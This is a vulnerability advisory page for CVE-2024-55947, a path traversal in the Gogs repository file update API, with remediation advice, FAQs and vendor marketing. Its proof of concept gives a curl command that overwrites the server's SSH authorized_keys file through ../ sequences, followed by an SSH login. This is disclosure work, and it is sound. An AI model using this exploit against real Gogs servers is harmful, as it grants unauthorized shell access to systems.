Summary
Path Traversal in file update API in gogs
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
Generate a Personal Access Tokens
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }'ssh connect to remote server
ssh -i temp git@localhost -p 10022
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2024-55947 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.13.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Frequently Asked Questions
- What is CVE-2024-55947? CVE-2024-55947 is a high-severity path traversal vulnerability in gogs.io/gogs (go), affecting versions < 0.13.1. It is fixed in 0.13.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2024-55947? CVE-2024-55947 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of gogs.io/gogs are affected by CVE-2024-55947? gogs.io/gogs (go) versions < 0.13.1 is affected.
- Is there a fix for CVE-2024-55947? Yes. CVE-2024-55947 is fixed in 0.13.1. Upgrade to this version or later.
- Is CVE-2024-55947 exploitable, and should I be worried? Whether CVE-2024-55947 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-55947 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-55947? Upgrade
gogs.io/gogsto 0.13.1 or later.